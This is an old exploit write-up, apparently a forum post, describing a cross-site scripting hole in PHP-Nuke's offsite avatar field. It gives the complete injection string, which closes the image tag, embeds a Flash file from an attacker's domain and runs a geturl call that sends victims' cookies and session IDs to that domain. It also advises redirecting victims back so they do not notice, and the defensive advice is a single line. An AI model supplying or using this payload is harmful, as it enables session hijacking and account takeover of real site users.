PHP nuke XSS vulnerability
<strong>phP nuke exploit</strong>
<b>effects:</b>
all versions of php nuke
<b>solution:</b>
better filtering of offsite avatar selection.
in the avatar selection of the profile, u have the option of linking to an
offsite image. this is the perfect place for an exploit.
by placing this line of code into the box it will close the current img tag and
hide it.
<b>Code:</b>
" width=0 height=0>
after this code we will now call a specially crafted (not really) flash file
from my web site.
<b>Code:</b>
<embed src=http://yourdomain.com/redirect.swf width=0 height=0>
this will view the swf and inside the swf is only one frame "an action frame"
and the action will redirect your browser to a site on my page +document.cookie
and in the cookie will be usernames and session ids. essentially enough to
login as whoever it was. that code is
<b>Code:</b>
geturl("javascript:location.replace('http://yourdomain.com/cookie.html?'+document.cookie)")
in cookie.html u might as well put in a redirect to send them back to the home
page or something, as long as they dont see your code. ;)
now our fullcode is
<b>Code:</b>
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0
height=0>
now at the end we have to either start another img tag or close it so this is
where i put my avatar
<b>Code:</b>
<img src=http://yourdomain.com/avatar.bmp
this code will add my avatar and the default img tag ending will close it.
our complete exploit code is
<b>Code:</b>
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0
height=0><img src=http://yourdomain.com/avatar.bmp
what it will do
1.)close the main img.
2.)open your swf.
3.)redirect them to your site
4.)log the cookie
5.)redirect them back
6.)show an avatar!
exploit found and written by FJLJ